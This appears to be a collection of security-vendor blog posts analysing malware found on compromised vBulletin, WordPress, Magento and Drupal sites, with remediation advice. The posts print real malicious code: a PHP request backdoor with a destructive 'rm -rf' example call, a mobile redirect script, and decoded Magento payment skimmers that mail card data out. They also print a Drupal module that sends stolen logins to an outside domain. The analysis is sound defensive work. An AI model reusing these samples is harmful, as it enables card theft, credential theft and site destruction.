Author: Cesar Anjos

A very common pattern in compromised websites is the presence of backdoors and other malicious codes. Attackers use different techniques and malware to abuse of server resources, distribute spam and at the same time, maintain access to the site for as long as they can.

One of the most used backdoors for that purpose is the C99 web shell. For those of you who are not familiar with it, C99 is a variation of the WSO shell with additional functionalities. It pretty much allows the attacker to manage your website remotely, including executing arbitrary remote commands directly into your system, navigate through a file manager interface, read arbitrary file and much more.

This kind of shell is most typically found on files but recently we found it on a database within a vBulletin site. vBulletin is a prime candidate for database based backdoors due to the ability that the CMS grants to running PHP directly from the database without any kind of control.

One of the most used table to store malicious content is the vBulletin ‘datastore’ table, more specifically the ‘pluginlist’ record, through this table they can easily add any kind of PHP code and that code will become part of any plugin that is installed on the website.

Sometimes the attackers also add the malicious code as an entire plugin by adding it on the ‘plugin’ table. In this case, we have a plain regular shell appearing when we access /forum.php/subscriptions.php

The path where it is accessible may look strange but on vBulletin the requests are handled by forum.php instead of the common index.php.

Upon tracing it we found the culprit in the database within the ‘plugin’ table:

From the image above, we see 2 records posing as init_startup plugins. This is a highly unusual scenario as it’s not valid for more than 1 plugin to have the same name within vBulletin.

We identified the plugins responsible for displaying the shell, however those still need to have an occurrence within the ‘pluginlist’ row inside the ‘datastore’ table for it to be actually enabled and act on the site.

By taking a quick look at those records, we found various pieces of malicious code

s:12:"init_startup";s:63824:"if (strpos($_SERVER['PHP_SELF'],'subscriptions.php')) {eval(gzinflate(base64_decode('CODE REMOVED')));exit;}
if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) {eval(gzinflate(base64_decode('CODE REMOVED')));exit;}";

When checking the database entry, we see 2 sets of codes that have the same purpose which may indicate that different attackers exploited the same vulnerability through an automated system and added the same malware.The funny thing is that after the first “exit” instruction, the second set of code becomes non-functional as it will no longer be read by the server and executed.

In other words, the first attacker compromised the site and then the second one attempted the exact same thing but since the “init_startup” already existed, their system simply infected the already existing plugin. Since the first infection was the regular shell and not the c99, this means that the c99 did not work.

There was also another small but powerful malware added into the database

s:15:"global_complete";s:60:"if(isset($_REQUEST['x'])){$_REQUEST['x']($_REQUEST['y']);}";s:16:"showthread_start";

Through this code the entire forum is a backdoor regardless of the area you are in, all that is required is to send and instruction through any request such as $_GET or $_POST like “forum.php?x=shell_exec&y=rm -rf ./”, it may look an extremely simple and small set of instructions but it’s more than enough to delete all the files of the site. Many other instructions can be sent to take other actions such as infect the site with other kinds of malware. What if the infections had some sort of incompatibility between each other? And what if the result was destructive to your website?

There are many things that can go wrong as soon as your website becomes vulnerable, so it’s extremely important to keep it secure at all times and ensure that you have a firewall protection  otherwise you never know what the next infection may bring.

With the increase of mobile internet browsing, attackers have adapted their techniques to target such platforms and distribute SPAM & malware to these devices. Our free online scanner SiteCheck is tailored to emulate different Mobile User Agents and warn users about possible issues that may affect your computer when accessing a particular website.

During a recent Incident Response investigation of a website displaying pop-ups and redirecting users to malicious sites, we found the following code infecting the header.php file of the theme:

<script>if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("ooglebot")==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|emu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'hxxp://185(.)93(.)187(.)41/kt/JpNx9n');}</script>

This code targets specifically mobile devices and just redirects them to a series of malicious websites, starting from: hxxp://185(.)93(.)187(.)41/kt/JpNx9n and then, going to different sub-pages, such as hxxp://www(.)bestphoneapps(.)mobi (which is quite known to be related with malware spreading campaigns) and finally landing on hxxps://mobrevflwms(.)com, which is also known to be related to malware spreading campaigns.

Depending on the browser/device your visitors are using while accessing the website, they can be presented with a toolbar download page or redirected to a mobile app download page.

It is very important to be careful and understand the risks of having those inadvertent components added into their browser or mobile device. The consequences vary from allowing attackers to arbitrarily access, read, and interact with emails and backend interfaces; ads being injected into pages they were not supposed to; as well as giving sensitive information of their browsing activity and much more.

As website owners, we have to make sure our visitors have the best experience possible and won’t be at risk when accessing your website.

If you detected such redirects or suspect any unexpected behavior, we are here to help you get your website back on track.

Recently we found another variant of malware that intercepts the credit card data injected into PayPal payment method “app/code/core/Mage/Paypal/Model/Direct.php”.

 $setXBodyText = 'First name : '.trim($order->getBillingAddress()->getFirstname()).'<br>';$setXBodyText .= 'Last name : '.trim($order->getBillingAddress()->getLastname()).'<br>';$setXBodyText .= 'Address : '.trim($order->getBillingAddress()->getStreet(1)).'<br>';$setXBodyText .= 'Address2 : '.trim($order->getBillingAddress()->getStreet(2)).'<br>';$setXBodyText .= 'City : '.trim($order->getBillingAddress()->getCity()).'<br>';$setXBodyText .= 'Phone : '.trim($order->getBillingAddress()->getTelephone()).'<br>';$setXBodyText .= 'Country : '.trim($order->getBillingAddress()->getCountry()).'<br>';$setXBodyText .= 'State : '.trim($order->getBillingAddress()->getRegion()).'<br>';$setXBodyText .= 'Zipcode : '.trim($order->getBillingAddress()->getPostcode()).'<br>';$setXBodyText .= 'Email : '.trim($order->getBillingAddress()->getEmail()).'<br>';if($payment->getCcOwner()){$setXBodyText .= 'name on card : '.trim($payment->getCcOwner()).'<br>';}$setXBodyText .= 'Credit Card Type : '.trim($payment->getCcType()).'<br>';           $setXBodyText .= 'Card number : '.trim($payment->getCcNumber()).'<br>';$setXBodyText .= 'Exp date : '.trim($payment->getCcExpMonth()).trim($payment->getCcExpYear()).'<br>';$setXBodyText .= 'CVV2 : '.trim($payment->getCcCid());$setXBodyTextEncripted = @eval(gzinflate(base64_decode(str_rot13(strrev('=RDe0b0XFAxXGWCavf0<CONTENT REMOVED>F2mPlW7DYX9FlhxjH')))));

Decoding that last part we  understand that all stolen information is sent to a gmail account:

$StoresThisName = $_SERVER['SERVER_NAME'];mail('g<CONTENT REMOVED>a@gmail.com',"Authorize Direct $StoresThisName", $setXBodyText);

When checking the e-mail against our malware samples database, we identified that this is not the first time it is used to receive stolen information from e-commerce solutions.

The following sample is another injection technique used by the same attacker (or group, based on e-mail address). This time around, they intercepted the onepage checkout module to inject the code (“app/code/core/Mage/Checkout/Model/Type/Onepage.php”):

eval(gzinflate(base64_decode(str_rot13(strrev('=8j52gl334pv3DXrlwgB2LcqOBIFIxlFS<CONTENT REMOVED>VrIdKNIPFHIRjq6zinVRjbgwoKMa')))));

This is what we get after decoding it:

$what = '---------------------';$send = array('Payment Method' => $data['method'],'Billing Name' => $this->getQuote()->getBillingAddress()->getFirstname() . " " . $this->getQuote()->getBillingAddress()->getLastname(),'Billing Email' => $this->getQuote()->getBillingAddress()->getEmail(),'Billing Address 1' => $this->getQuote()->getBillingAddress()->getStreet(1),'Billing Address 2' => $this->getQuote()->getBillingAddress()->getStreet(2),'Billing City' => $this->getQuote()->getBillingAddress()->getCity(),'Billing State' => $this->getQuote()->getBillingAddress()->getRegion(),'Billing PostCode' => $this->getQuote()->getBillingAddress()->getPostcode(),'Billing Country' => $this->getQuote()->getBillingAddress()->getCountry(),'Billing Phone' => $this->getQuote()->getBillingAddress()->getTelephone(),'Billing Tax' => $this->getQuote()->getBillingAddress()->getTaxvat() or "NULL",'CC Owner' => $data['cc_owner'],'CC Type' => $data['cc_type'],'CC Number' => $data['cc_number'],'CC Start' => trim(sprintf('%02d%02d', $data['cc_ss_start_month'], substr($data['cc_ss_start_year'], strlen($data['cc_ss_start_year']) - 2))),'CC Expired' => trim(sprintf('%02d%02d', $data['cc_exp_month'], substr($data['cc_exp_year'], strlen($data['cc_exp_year']) - 2))),'CC Sec' => $data['cc_cid'],'Account Gender' => $this->getQuote()->getBillingAddress()->getGender() or "NULL",'Account DOB' => $this->getQuote()->getBillingAddress()->getDob() or "NULL",'Account Password' => $this->getQuote()->getBillingAddress()->getCustomerPassword() or "NULL",'IP Address' => trim(getenv('REMOTE_ADDR')),'Web Store' => trim($_SERVER['SERVER_NAME']));$numb = trim($data['cc_number']);$mail = trim($this->getQuote()->getBillingAddress()->getEmail());if($numb != NULL) $what = "$numb - Payment Report";else $what = "Payment Report - $mail";foreach ($send as $param => $value) { $send .= "$param = $valuern";}$data .= @substr($send, 5, -1);@mail('g<CONTENT REMOVED>a@gmail.com', $what, $data);

Hacking into Magento sites and injecting code to steal payment information is very profitable and it’s the biggest trend we are seeing in 2016. It is interesting enough to notice that the same group is being responsible for several attacks.

It's never enough to stress that you should keep your site secure and ensure that all data sent to your website is kept safe at all times, specially if you process payments, usual in e-commerce solutions.

It’s quite common for attackers to compromise your website and make use of it for their phishing campaigns. The most typical method they use is to simply place redirects throughout your site or simply upload entire phishing folders so that your website becomes an actual phishing platform.

When the hosting finds any bad content there they usually take the swiftest action and just suspend your service until the matter is resolved. But what if the compromise started at a different level? Let’s say, the server’s error documents?

Recently, we came across a very similar situation. The curious point is that the attackers predicted the domains would eventually be suspended so they promptly changed the template for suspended websites directly through the WHM panel.

Even though the website was suspended and its content inaccessible, infecting the suspended template enabled the redirect to the phishing domain.

These phishing campaigns impact directly on a website’s reputation and can easily lead to blacklists and great drops in your SEO rankings.

Website suspension may not always be enough to fix issues resulted from a compromise, especially when the compromise happens directly on your hosting provider and the attacker has access to your cPanel / WHM.

Once a compromise is detected, we always recommend changing all passwords (database, back-end interfaces, cPanel, FTP/SFTP), keeping regular backups to restore the website to a clean state, and reduce the impacts on your business by adding a File Integrity Monitoring System and a Website Firewall to prevent attacks.

The most typical reasons for Magento websites to get compromised are to steal credit card information or to find a way to divert payments to the attackers accounts but recently we have found a completely different objective that can be destructive for the reputation of your website.

When attackers exploit a vulnerability in your store and get admin user permissions, they can easily add new comments to all orders (both completed and pending). Magento emails the comments to customers and hackers abuse this feature to send out phishing emails.

Here is what they currently send out:

<http://www.CompromisedSite .com/>            Your order #100007891 has been updated to: CompleteAttention! Your payment has been declined. Full information -hxxp://www.PhishingDomain .com/eBay/  You can check the status of your orderby logging into your account <https://www.CompromisedSite .com/customer/account/>.

If there are 10,000+ orders on your website, this means that 10,000+ emails will be sent all of a sudden and all of those emails will include a link to a phishing domain. And if an attacker managed to compromised multiple Magento sites, the volume may be comparable to real mass spamming tools. However, in case of emails sent by Magento, the credibility may be higher since people already know the sites they received the emails from and the emails contain their valid order numbers.

There is not much can be done by webmasters once the attackers are in. As a partial mitigation, you can configure your server quota on how many emails can be sent daily, so that only a few number of your customers will actually receive the phishing emails before you notice it.

This kind of attacks can have a very severe impact on your website’s reputation. All your old and regular customers will find out (unless they don’t spot the scam in the emails) that your site is compromised. It shows how important it is to keep your store constantly patched and protected.

We recently wrote about a Drupal black-hat SEO hack that among other things redirected users coming from Google to botscache[.]com site. It hijacked the bootstrapping process via the session_inc variable in database, then made Drupal load a malicious file from the global /tmp directory instead of the standard includes/session.inc file.

This malware evolves and we have found its new variation. Again, the only malicious code that could be found within the site structure was just a file name. This time it was in the system table and it was the name of the file to load a Drupal module from. However, the file had a .jpg extension and it was loaded from a directory that belonged to a different website under the same server account ../otherwebsite/sites/default/files/slides/Search.jpg.

Taking a look at that Search.jpg file we can see the following code:

pre>if(isset($_POST["gbdc"])){@'val($_POST["gbdc"])', 'add');exit;}function drupal_get_urlsc_callback_url($url) { ... return $file_contents; }if(isset($_POST['op'])&&$_POST['op']=='Log in'){ ... if(user_authenticate(@$_POST['name'],@$_POST['pass'])){ $args_result_url=base64_decode("aHR0cDovLzB4MHguY28vcC5waHA/dT0=").base64_encode(@$_POST['name']); $args_result_url.="&p=".base64_encode(@$_POST['pass'])."&url="....; drupal_get_urlsc_callback_url($args_result_url); }}if(empty($_COOKIE) && preg_match('/.google.|.aol.com|.ask.com/i',@$_SERVER["HTTP_REFERER"])) { header("location:http://botscache[.]com/n.php?".$_SERVER["HTTP_HOST"]....); exit;}if(empty($_COOKIE) && $_SERVER["REQUEST_URI"]=='/google4a4791b250e72fd1.html'){ echo 'google-site-verification: google4a4791b250e72fd1.html'; exit;}

The functionality is pretty much the same: backdoor to execute arbitrary code, botscache[.]com redirection of the search engine traffic (Air Jordan replica spam) and malicious Google Search Console verification. However, this variation also add the functionality to steal Drupal credentials. When someone submits a login form, the malicious module verifies that the credentials are valid and sends them to their own site 0x0x[.]co (the domain name is base64-encoded).

This Drupal malware demonstrates that infection is not always limited to the site itself. You may not find anything suspicious if you scan only the site directory. The actual malware may be anywhere on the server: in publicly writable directories like /tmp and /var/tmp, inside neighbor sites that share the same server account, etc. If one of your sites is hacked, don’t limit the cleanup to this site only. You should always scan all the sites you have on the same server - all the sites may be infected and some of them may have backdoors and malicious files lurking, leading to recurring infections.

This infection also reminds us about the importance of changing passwords after every site hack. It’s always a good idea to restrict access to CMS admin area. Two factor authentication and/or IP whitelist will stop hackers even if they managed to steal your credentials. You can do it on your own server or place your site behind a website firewall and have it block unwanted logins.